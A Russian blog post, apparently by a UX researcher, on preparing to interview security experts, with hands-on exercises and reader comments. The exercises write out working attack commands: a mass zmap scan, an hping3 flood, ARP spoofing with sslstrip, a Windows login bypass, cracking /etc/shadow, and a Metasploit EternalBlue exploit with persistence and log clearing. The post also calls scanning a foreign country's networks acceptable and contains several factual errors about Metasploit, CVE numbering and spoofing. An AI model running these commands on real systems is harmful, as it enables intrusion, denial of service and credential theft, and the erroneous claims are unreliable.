Подготовка к интервью с экспертами

Есть популярное утверждение, что для погружения в тему нужно провести 40 интервью. Но как показывает мой опыт интервьюирования сложных респондентов, это не всегда работает. Хорошо работает со сферой инвестирования, создания контента, но плохо с информационной безопасностью. Терминология, роли, внутреннее устройство каждой конкретной компании накладывают сильный отпечаток на респондентов и без серьезной подготовки к каждому интервью будут выявляться неправильные инсайты и, соответственно, разработка пойдет в неправильном направлении. Что влечет за собой смерть бизнеса. Хороший исследователь должен готовиться к интервью с экспертами, заранее погружаясь в контекст. Красивая фраза, на которой завершается доклад и спикер уходит со сцены. Давайте посмотрим на процесс подготовки к интервью со специалистами по анализу трафика.

Кого мы хантим?

Не разбираясь в предметной области, почти невозможно отсеять «ходунов» и легко нарекрутировать не репрезентативную аудиторию. Например, в сфере информационной безопасности существуют белые хакеры, которые отлавливают баги и отправляют их крупным вендорам (за денежку), называется эта сфера Bug Bounty. Целая индустрия со своими сервисами, вроде HackerOne, Pentestit, или Hack the Box, для нас это источники респондентов. И не забываем про привязку к стране, в некоторых странах опасно искать уязвимости в сетевой инфраструктуре компании, даже если официально они это разрешили. Даже если респонденты таким делом занимаются, рассказывать про это не станут и процесс рекрута становится еще сложнее.

Другая роль это пентестеры, отдельный вид тестеров на проникновение во внутреннюю систему компании. Взламывают систему банка и смотрят, как специалисты по бумажной безопасности, бывшие сотрудники силовых структур, SOC 1/2/3, ИБшники на это отреагируют и насколько компания была готова к взлому. Вскрывается множество разных ролей, и у каждого свои инструменты и зоны ответственности.

Как это выяснить? Без курсов не обойтись. Cybrary, Coursera, Pentester Academy, SANS, eLearnSecurity. На курсах вас поверхностно проведут по основным принципам и терминам ИБ, дадут контекст. Далее, самостоятельно книги, статьи про проводные и беспроводные сети, чтение обсуждений, прослушивание вебинаров. Нужно постоянно обогащать себя знаниями. Прийти на интервью с респондентом и узнавать про кейсы UNION BASED SQL-injection, которая существует только в книгах = провалить интервью.

Предметная область

Перед любым проектом идет этап анализа, попытки определитья с направлением движения, в мире дизайна это называется Ideation. У злоумышленников это разведка, например, анализ сетевого трафика. Существует термин Black Hat, это те самые злые хакеры, злоумышленники. Они ищут старые заброшенные сервера, открытые порты, в общем, проводят разведку, а потом атакуют. Разведка включает в себя определение версионности софта, открытых портов и прочего. Достигается это сканированием, что само по себе уже атака, так как способно повесить какую-нибудь АСУ ТП систему. Со стороны компании, сначала идет защита, потом… ничего, компании редко тратят ресурсы на поиск источника атаки. Хотя в мире разработки игр сами разработчики могут отдать в закрытое сообщество хакеров некий инструмент для взлома игры, тем самым завоевав доверие, и получить доступ к комьюнити хакеров, видеть как люди ломают их игру, какие используют лазейки.

Терминология

Классификация сетевых атак. Сетевые атаки бывают разные в зависимости от объекта атаки (инфраструктура, телекоммуникационные службы). По характеру атаки делятся на активные и пассивные. Активные это попытка подменить SSL-сертификат для прослушивание HTTPS трафика, пассивные это сканирование. Наш первый вопрос респонденту должен быть не «какие бывают атаки», а «с какими пассивными сетевыми атаки вы сталкивались за последние 2 года». Чувствуете разницу?

Существует сетевая модель OSI, это модель стека сетевых протоколов OSI/ISO. Эта модель позволяет структурировать типы атак. Например, один из видов атак это физический уровень, когда цель — нанести физический ущерб. На ум приходит разве что перерезать провода или разбить щиток, но это скорее хулиганство. Нечто более серьезное, это натянуть проволоку между рельсами, из-за чего автоматические системы будут думать, что на участке есть поезд. Более Itшное это впаять физический сниффер. Белые хакеры легитимно ставят tap или SPAN и льют данные в IDS или SIEM (системы обработки данных и обнаружения вторжений).

Другие уровни атак по модели OSI: канальный уровень (ARP-протокол, обман узла), сетевые атаки (IP Spoofing), транспортный (протоколы, TCP, UDP, всякие сканирования), сеансовый (TCP/IP, атаки на SSL).

Таким образом, мы можем сформулировать правильные вопросы респондентам, и задавать их по контексту. Как вы работает с нарушением конфиденциальности информации/ресурса? На каком уровне по модели OSI у вас возникает больше всего проблем? Чем для вас является нарушение целостности информации? Какие риски это несет? К чему приведет нарушение работоспособности системы?

Упражнение 1

Вы могли слегка утомиться, или расслабиться. Познакомиться с терминами и окружением респондентов это полезно, но помимо этого, перед интервью нужна эмпатия. А для эмпатии мы должны побывать в шкуре респондента, самостоятельно анализируя трафик. Будем работать с Kali Linux. Для начала мы скачиваем себе Oracle VM VirtualBox manager, и соответствующую сборку Kali Linux. Далее в виртуалке File -> Import Appliance..., выбираем скачанный файл, запускаем виртуалку.

Настраиваем виртуалку. Если нужен доступ к интернету, то в Devices -> Network -> нужно установить тип подключения как «Сетевой мост». Странно было бы слушать трафик без интернета, согласитесь? Если же хотим изолированную среду, то выбираем виртуальный адаптер хоста.

Теперь можно приступить к анализу сетевого трафика с помощью нашего первого инструмента, Wireshark, это сниффер (анализатор трафика). Если он установлен не на шлюзе, или не реализуется MITM-атака, то сам по себе Wireshark бесполезен, никакую атаку на SSL не получится произвести. У нас такой цели нет, мы просто хотим побывать в шкуре респондента и посмотреть трафик.

Открываем stats conversations, делаем настройки под себя и нажимаем start. Мы сразу сможем видеть наш сетевой трафик, и по всякому его фильтровать. Более того, в Wireshark сразу забиты некие правила, которые будут подкрашивать проблемы в зависимости от их критичности (severity). Это сразу вопрос в скрипт про привычки респондентов по интерфейсу, цветам и фильтрам.

Заходим на любой сайт с http, вбиваем любые логин/пароль. И ставим себе цель: найти незашифрованные пароли, файлы или любую другую ценную информацию в потоке данных. Подсказка 1: файлы обычно весят много, а все маленькое (байты) это просто управляющее соединение (TCP), служебные пакеты. Значит, сортируем по весу файла и задаемся вопросом, какие еще сортировки нужны респонденту. Подсказка 2: нас интересуют порты, к которым подключаются всякие сервисы и службы (Port B). У нас простой интерфейс с набором данных, если вбить в поиск http.request.method==POST, можно найти много записей в таблице с протоколом OCSP. Сразу вопрос, что в первую очередь респонденты ищут в такой таблице? Wireshark не единственный инструмент, есть аналогичные решения, вроде tcpdump. Мы должны уточнить у респондента, какой софт он использует для прослушивания трафика и почему.

Для нахождения файлов в wireshark есть команда follow TCP, она позволяет найти файлы в закодированном виде, а раскодировать можно через декодер. А пароли на сайтах с HTTP видны сразу в логах.

Информационное поле

Мы сделали одно упражнение, коих надо проделать десятки. Это позволяет выяснить, в каком информационном поле обитает респондент, какая у него рутина. Во время выполнения заданий вы начинаете искать ответы на вопросы, и узнаете у гугла или у экспертов внутри компании множество релевантных ресурсов (после того, как прошли курсы и прочитали книги, т.е. знаем терминологию). В нашем случае, можно полазить по открытым источникам, типа vulners.com, почитать про уязвимости от MITRE, Google Dorks, базы уязвимостей Microsoft, ознакомиться с CIS Benchmarks (лучшие практики центра интернет-безопасности).

MITRE это общеизвестные тактики и методики, которые описывают способы атаки и как атаку минимизировать. Визуально это фреймворк из колонок с действиями, прописанными по шагам. Применение: во многих средствах защиты типа SIEM есть функционал накопления логов и их анализа, далее данные интерпретируются через MITRE. Эксперт так может понять, на каком шаге находится злоумышленник.

В примере выше проиллюстрирована цепочка развития MITRE-атаки, и так мы понимаем, как злоумышленник может прорваться внутрь нашей инфраструктуры, и теперь мы можем mitigation (защититься). Аналогичные таблицы есть и под облачные сервисы, и под мобильные платформы.

Знаем, как атакуют, значит и понимаем, какие меры и средства защиты надо применить. Но встает вопрос соотношения цены/защиты. Например, насколько компании важно подходить к разработке софта по принципу «Security by Design»? Покроет ли прибыль от уменьшения кол-ва уязвимостей нулевого дня увеличение сроков релиза? Компании могут находится на разном этапе развития зрелости с точки зрения ИБ, как и дизайна. Пассивная защита с помощью утилит это дешево и закрывает множество проблем, далее возникает необходимость в активной защите (AV, SIEM, NGFW), и следующий шаг это превентивная работа по предотвращению кибератак. Но это еще не все, ведь огромные компании нанимают пентестеров для взлома своих же ресурсов. И все это крутится вокруг MITRE. MITRE присваивает каждой уязвимости некий номер, например, CVE-2020 (год) — 003 (третья за год). ИБшник знает софт своих пользователей, проверяет его на наличие уязвимостей и если они есть, ставит патчи, либо запрещает использование софта. Но бывают уязвимости «zero day», обычно они выявляются опытными специалистами, группами хакеров. Узнают, что в заказанной компании есть некое ПО, и пока у крупных вендоров нет информации об уязвимостях. Сразу появляются вопросы про роли, процессы внутри компании, прецеденты и их последствия, стоимость ущерба. Или нечто более техническое:

  • С какими сложностями вы сталкивались во время внедрения/эксплуатации/масштабирования вашей SIEM-системы?
  • Какова комфортная стоимость владения SIEM-системой, включая сотрудников, оборудование? 
  • Какой функционал в продукте позволяет сказать, что перед вами NG SIEM решение?

Упражнение 2

Пассивные сетевые атаки. Это сканирование сети в поисках хостов. Сканировать сеть можно по разному, ICMP, ARP, RST сегменты TCP, ответы на несуществующие DNS-запросы, прослушивание трафика. Наш второй инструмент это Nmap, у него есть официальная пачка скриптов для сканирования на наличие уязвимостей. Умеет куда больше, чем только находить открытые/закрытые порты. Так как тема весьма чувствительная к законодательству, рекомендую все свои эксперименты проводить на scanme.nmap.org, это специальный сайт от авторов Nmap, на котором можно ставить опыты.

Сканирование сети может происходить с помощью модификации TCP-пакетов. Они отправляются по адресу и мы видим, открыт ли порт. Идет сбор статистики: был ли ответ на пакет с флагом RST, через какое время, какая OS/драйверы роутера. То есть, по результатам делается предположение, что на узле с IP 127.0.0.1 и портом 445 есть некий сервис с версией nginx 0.7.64, операционной системой Windows (Win и Linux по разному отвечают). Это открытый вид сканирования.

Пробуем. Запускаем Nmap командой в терминале, будем сканировать уязвимости, дефолтные пароли и прочее, вы можете и сами дописать модуль на языке LUA. Но это потом, а сейчас пишем команду nmap -v -A scanme.nmap.org, либо указываем диапазоны адресов для сканирования nmap 192.168.0.0/24. В результатах будут выведены протоколы ARP, типа arp.opcode == 1. Эта строка позволяет определить, был ли это запрос или ответ.

Также, видим подобные строки:

111/tcp closed rpcbind
113/tcp closed ident
1720/tcp closed h323q931
9929/tcp open nping-echo Nping echo
31337/tcp open tcpwrapped

Некоторые порты closed, некоторые open. Для анализа остальной информации понадобится почитать книжку от nmap. В ней можно найти статусы портов. Очевидно, что открытый порт это желаемая цель, прямой путь к атаке. Закрытый порт принимает пакеты, но не отвечает. Такими действиями мы оставляем следы. Любой злоумышленник не хочет оставлять следов. Как он заметает следы? Возможно, обратное преобразование адресов. Опять же, вопрос для интервью с экспертами после кабинетного исследования.

Также, скрипты могут сразу сказать, какие уязвимости есть под найденный софт. Для этого нужен скрипт nmap -p 21 -sV --script ftp-brute.nse 192.168.0.106, или можно спросить про конкретную уязвимость nmap -p 445 -sV --script smb-vuln-ms17-010.nse 192.168.0.xxx.

Вопросы назрели сами собой: регулярность проверок на уязвимости, какой софт запрещен и почему, кто отвечает за проверку нового софта в инфраструктуре компании.

Но сканировать ручками — лень. Для массового сканирования нужно установить Zenmap, его требуется отдельно устанавливать в Kali Linux. Zenmap в 50 раз быстрее Nmap’а. Скачиваете дистрибьютив отсюда, выполняете в терминале следующие команды:

apt-get update
apt-get install alien

cd Downloads
 //указываете папку, в которой искать файлы

sudo alien "name of downloaded package.rpm"
sudo dpkg -i "name of converted package.deb"

zenmap

Сразу предупрежу, что параметр maxaddress позволяет случайным образом постучаться на 10 000 IP-адресов, но так лучше не делать, можно нарваться на гос. сайты. А они под контролем федеральной службы. Так как TOR мы не настраивали и это запрещено, а ГосСОПКА (некое IDS, система обнаружения вторжений, SIEM указан как обязательное техническое средство) защищает и мониторит государственные ресурсы, лучше себя обезопасить и точно указать диапазон адресов. За разовую историю маловероятно нарваться на неприятности, если не сканировать сайты на территории своего же обитания. Просканировать в учебных целях Уругвай — допустимо. А свою страну лучше не сканировать, поэтому перед выполнением упражнения заходим на 1whois и проверяем, где физически расположен сканируемый нами адрес.

Команда будет такая zmap --bandwidth=2M --target-port=21 192.215.0.xxx/16 -o /tmp/res.csv. Мы запустили многопоточное TCP SYN сканирование. Не путайте с DDoS, сейчас мы говорим о простом сканировании. DoS-атаки производятся с помощью специальных утилит, которые генерируют трафик в несколько потоков для атаки. DoS это атака с одного узла, DDoS — распределенная атака, когда у злоумышленников есть сервер, на котором крутится Kali Linux (c&c-сервер, command and control). Это узловой центр для контроля компьютеров. Отслеживается просто, по нагрузке. Глазками смотрим в интерфейс, есть ли активность на хосте в тихое время. Если обычно нагрузка на CPU ночью 20%, а внезапно стало 80%, значит, либо сотрудники накосячили, либо нас атакуют.

Есть и другие подобные сервисы для массового сканирования, вроде Masscan или Nikto. Находим порты, и проходимся по ним Nmap’ом.

Мы поговорили про пассивные сетевые атаки. Далее идут активные сетевые атаки, в частности, MITM-атаки. Фундамент такой атаки это спуфинги. Но для начала рассмотрим простую DoS-атаку, состоящую из множества TCP-запросов на создание соединения. У сервера ограниченные возможности по созданию таких соединений, сервер достигает лимита и все новые (реальные) пользователи уже не могут использовать сервер. Пользователи не могут получить доступ к ресурсу, бизнес теряет деньги, конкуренты ликуют. Или UDP Flood, когда злоумышленник перегружает трафиком канал, и на последней миле, уровне коммутаторов и свичей, не будет нужной емкости. Это нужно мониторить, поэтому научимся нехитрым приёмам работы с помощью nload. Ему также требует отдельная остановка, sudo apt-get install nload и запускаем командой nload. Видим окошко с мониторингом трафика. Команда для атаки hping3 --flood -S -p 80 192.121.0.2, нужно запускать от имени админа, команда sudo -i. На той стороне ждут ответа, и реальные пользователи не могут достучаться до сервиса.

И теперь как защититься от этого? Существует множество анти-DDoS сервисов, крупные игроки вроде CloudFlare, StormWall, которые распараллеливают трафик в облаке. Для государственных контор существуют специальные железки для отсечения DDoS-трафика. Такой трафик легко отсекается. Если же вы маленькие и некоммерческие, и подверглись такой атаке, то по трафику можно посмотреть, откуда идет атака. И позвонить провайдеру. Или на уровне своего межсетевого экрана поставить блок по GeoIP. Но очевидно, что проблема есть и популярна, это новый пул вопросов для интервью. И мы уже даже можем ввести респондента в контекст!

Более серьезные атаки это спуффинг. Технически, отравление iptables, после чего весь трафик идет через компьютер злоумышленника. В результате получается MITM-атака. На своей стороне злоумышленник может с помощью межсетевого экрана захватывать пакеты и модифицировать их, либо просто прослушивать. И даже подменить сертификат. Это не обязательно плохо, сотрудник ИБ может реализовать MITM-атаку в корпоративных сетях для целей компании. Это позволяет мониторить трафик, и найти вирус во время его скачивания + DLP (системы защиты от утечек данных). Уже стало понятно, что инструменты у Black и White Hats одинаковые, а цели разные. Про это можно также спросить у респондентов.

Сертификат HTTPS можно сбросить до HTTP, используется новый для нас инструмент SSLstrip. Для эксперимента понадобится старая версия браузера. Злоумышленник может затянуть на себя трафик с помощью ARP-spoofing и сможет обмениваться пакетами с сервером от лица клиента по зашифрованному соединению. А клиенту будет предложено обмениваться данными по HTTP, и некоторые согласятся.

Итак, у нас в арсенале есть SSLstrip, ARP-spoofing, осталось настроить режим роутера в Kali Linux командой echo "1" > /proc/sys/net/ipv4/ip_forward, без этого трафик не будет улетать дальше на сервер. Следующим шагом «отравляем» таблицу: устанавливаем apt-get install dsniff и запускаем arpspoof -i eth0 -c both. Это отравление в обе стороны, значит, надо указать IP-шник клиента и шлюза. Вот пример: arpspoof -i eth0 -c both -t 192.168.0.xxx -r 192.163.0.xxx. Теперь трафик идет через нас как через шлюз.

Следующий шаг: указать порт назначения с помощью redirect, и на какой порт слать данные для обработки утилитой ssl-strip. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080, и запишем всю перехваченную информацию в log-файл, sslstrip -w strip.log -l 8080. Звучит здорово, но только почти везде уже включен HSTS для определения подмены сертификата, и такая атака не всегда сработает. Но принцип понятен. Комбинация инструментов SSLStrip+ Iptables + ARP spoofing + dns2proxy + net-creds позволят понять, какие задачи решают сотрудники ИБ.

Упражнение 3

Уязвимости. Есть стандарт ISO 27005, который описывает asset как любую сущность, которая имеет ценность для организации, это могут быть сайты, приложения, сервера. Сотруднику ИБ нужна карта таких активов, и понимание всех этих потенциальных уязвимостей. Они возникают по разным причинам: ошибки программистов в коде программ (buffer overflow), слабые требования к логинам/паролям (user/user), ошибки на уровне ошибок в архитектуре процессора (Meltdown, Rowhammer и Spectre), возможность провести SQL-инъекцию, и человеческий фактор. Понятно дело, что сканеры безопасности и антивирусы ищут известные уязвимости, нельзя найти то, про что неизвестно.

Уязвимости оцениваются количественно по шкале «индекс CVSS». Это метрика про impact-уязвимости, поддерживается специальной организацией. Оценка уязвимости производится сообществом, а не автоматически, поэтому постепенно оценку переводят на машинное обучение. Внимательные уже полазили по vulners и увидели сразу две метрики у уязвимости, CVSS от людей и по оценке алгоритма.

Метрика рассчитывается по достаточно простым параметрам: влияние на конфиденциальность, доступность средств устранения и т.п. Также есть замечательный сайт cve.mitre.org. При просмотре CVE самая важная информация это impact, например, уязвимость позволяет удаленное исполнение команд на сервере. CVE-2020-1350 имеет максимальный уровень критичности — CVSS score 10.0, потому что её легко эксплуатировать и крайне высокая вирулентность. Многие антивирусные вендоры разрабатывают собственную систему учета уязвимостей. Касперский может знать, что у сенсора заранее заданы логин/пароль, а Аваст — не знат. Еще можно почитать cwe.mitre.org, это уже про список софта с уязвимостями, в том числе и аппаратными, просто общая информация. Зная все это, сотрудники ИБ отслеживают по сайту MS, какие обновления им точно надо накатить. Да и мы можем побыть ответственными сотрудниками и написать админам, что в используемом протоколе UPnP есть уязвимость CVE-2020-12695, которая позволяет проводить DDoS-атаки и сканировать внутреннюю сеть.

Искать уязвимости ручками — такое себе. Есть инструмент OpenVas, это сканер уязвимостей, инструмент для обнаружения хостов, OS, и также умеет выдавать информацию по уязвимостям определенных сервисов, и всё это автоматизированно и бесплатно. Еще раз обращу внимание, что он не сможет найти уязвимости нулевого дня. И будьте осторожны, всякие plc-контроллеры от таких автоматизированых проверок могут отключиться.

Любой сканер безопасности может работать в режиме Black box и White box (режим аудита). Первое это моделирование действий хакера, второе это мы выдаем все пароли/логины сканеру и он тогда сможет исследовать по полной программе.

Пробуем. Вбиваем openv, и если у вас не установлен OpenVas, его надо установить.

apt-get update && apt-get dist-upgrade -y
apt install openvas
reboot
openvas-setup
//либо
sudo gvm-start

Далее обновление фидов через команду greenbone- или openvas-setup, это запустит обновление. Команда openvas-start запустит UI, все автоматически откроется в браузере. Если запустилось и вы видите такой интерфейс с черепом, значит, все работает. Создаем пользователя openvasmd --create-user=uxtest, вам сгенерируется пароль.

Выполним black-box сканирование, Scans -> Tasks. Система сама с помощью мастера проведет вас по нужным шагам и подсветит важные результаты.

Упражнение 4

Что самое ценное? Пароли. С помощью Nmap можно побрутфорсить и получить доступ к точке доступа. Любой админ знает, что в Windows можно загрузиться с Live CD и задать нужный пароль с правами админа. Либо использовать Ophcrack, но админ должен быть прокачанным. В windows-системах можно подменить «специальные возможности» (utilman) на командную строку: с помощью Live CD загружаемся на целевом компьютере, находим cmd.exe и переименовываем на имя exe-файла специальных возможностей. На экране логина запускаем командную строку, net user имя пользователя новый пароль /add и перезагрузка, готово, забывчивый пользователь спасён. Если говорить о взломе хешей, то достаточно пройти в system32 -> Config, найти файл SAM, и использовать ophcrack.

Пароли Linux несколько более сложная история. Надо найти файл cat /etc/passwd, и второй файл cat /etc/shadow. Второй файл интереснее, в нем есть хеш пароля, и далее уже предустановленные программы типа John the Ripper позволяют восстановить пароль. Обычно надо заранее сказать програмке для брутфорса, какой был алгоритм шифрования, md5 или другой.

Кодирование, хеширование и шифрование это три разных термина. Например, base64 можно легко декодируется, так как это просто замена одних символов на другие. Хеширование это необратимая операция.

Шифрование сложнее, у вас должен быть некий ключ для расшифровки. Симметричное шифрование это одинаковый ключ и у отправителя и у получателя. У протокола TLS ассиметричное шифрование. Так вот, в файле shadow есть хеш, мы знаем алгоритм, берем утилиту John the Ripper и указываем md5 (для перебора по словарю). Программа берет пароль из словаря, преобразовывает по алгоритму и сравнивает с хешем из shadow. Хорошие словари это сотни гигабайт и большая ценность, раздобыть и создать самому их трудно. Команда достаточно простая, john --worldlist=/media/Dicts/rockyou.txt --forma=crypt /media/unsh_pwd, это оффлайн-вариант. Второй вариант помочь пользователю с восстановлением забытого пароля это Hydra.

Упражнение 5

Мы уже почти молодцы, разобрались с простыми историями. А теперь давайте работать с Metasploit Project, MSF. Это специальная версия Ubunty с кучей уязвимых приложений и открытых портов для обучения пентестеров. Поиграем в пентестеров. Это как игра Blue team как хорошие ребята, которые настраивают оборону, и Red team, которые атакуют и пытаются все взломать. Как и все термины в сфере информационной безопасности, эти пришли из военный сферы. Как и методологии, ISAAF, OSSTMM, LastTop10 и прочие. И отчет по результатам работы пентестера сдается по шаблону.

Новый термин, эксплойт (exploit) — модуль для эксплуатации уязвимостей. Некий код, который способен использовать уязвимость.

Полезная нагрузка (payload) — полезная нагрузка для эксплойта. Есть уязвимость, на неё завязывается некий shell, оболочка для нанесения ущерба. Пример payload это ссылки с вредоносным содержимым,если это крупный файл то значит, в нём есть сразу exploit и payload. Либо это может быть stage-payload, маленький файл для докачки большого зловреда, антивирус такое не всегда распознает. Или склейка, когда вредоносный код это часть нормального файла. Берут картинку, дают длинное имя и в конце .exe, пользователь запустил > окно моргнуло > код удалился > картинка открылась > вирус работает.

Итак, у metasploit есть свои сканеры и фазеры (закидывание мсусорными данными всех портов для достижения переполнения буфера). Поехали, проверяем базы данных командой msfdb, запускаем msfdb init, msfconsole, далее команда search ms, и мы найдем множество уязвимостей Microsoft.

Или search ms 17-010, система выведет меньше вариантов. Мы видим rank (уровень «качества» уязвимости) и на основе этого можно планировать свои дальнейшие действия. Давайте поэксплуатируем уязвимость use exploit/windows/smb/ms17_010_eternalblue. После ввода команды мы проваливаемся внутрь некого режима работы, вернуться можно командой back. Есть и другие полезные команды, info с информацией об exploit. Итак, указываем, к какому хосту подключаться set rhost 192.168.0.xxx, задаем порт set lport 4444, и финальная команда exploit. Мы видим WIN и вуаля, мы получили доступ к командной строке на Windows-машине пользователя.

Кажется, как же уязвим мир компьютеров перед хакерами. К счастью, любые полезные нагрузки легко детектируются антивирусами на хостах.

Можно играться с этим инструментом и дальше. Всякие классные функции, hashdump и далее jonetheripper. Или сделать автозапуск на стороне Windows: run persistence -U -1 10 -p 4444 -r 192.168.0.110. И заметаем следы командой clearev. У вас после прочтения статьи и дополнительных материалов должно появиться множество вопросов, которые до этого никогда бы не возникли.

Мы перешли от уровня детализации «Насколько уязвима сеть в вашей компании?» к «Как хакеры записывались в персистентный режим в вашей критической инфраструктуре за последние два года?», и можем нормально интервьюировать экспертов. Несколько лет в одной сфере, и можно будет перейти от структурированного интервью и неструктурированному.

6 комментариев

  1. Leonid Volkanin

    Говоря о найме внутренних экспертов, как это происходит? нужна отдельная панель для них?

    • Цветков Максим (Author)

      Рассылки по почте вполне может быть достаточно. Можно использовать Hotjar + Calendly для опроса + планирования в календаре, или любой другой ваш внутренний инструментарий.

  2. Alex Noso

    Много раз встречал всякие устройства, на которых можно оставлять фидбек. Просто нажав на смайлик или нечто в этом духе. Встречаются ли такие устройства для юзабилити-лабораторий?

    • Цветков Максим (Author)

      Существуют специальные устройства, называются StreamDesk (панель для стриминга). У Stream Desk можно на экране настроить любые иконки, или можно расставить изображения с эмоциями. Покупаете один StreamDesk, ставите аддон InfoWriter к OBS, и привязываетесь к кнопке, по нажатию на которую идет запись timestamp с фидбеком.

  3. Андрей

    Как мне этих экспертов то найти самостоятельно, особенно если они на западном рынке?

    • Цветков Максим (Author)

      Самое простое это нанять местного исследователя/агенство и делегировать работу. Надо смотреть на тематику, некоторые когорты можно найти на fiverr или в craiglist, или классика с email, facebook, linkedin (у которого есть linkedhelper). Он умеет добавлять вам в друзья аудиторию по определенным параметрам и просматривать страницы с вашего профиля. Но таргетиться в linkedin весьма дорого. Или крайняя и плохая идея, это найти русскоговорящего из страны, в которой интересует определенная тематика.

      Если говорить о b2b, то можно по номеру телефона лида на него таргетироваться в facebook. Либо делать в таргетинге интерактивные игры-опросники.

«Взаимодействуя с данным сайтом, вы, как пользователь, автоматически даете согласие согласие на обработку персональных данных» Согласие

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.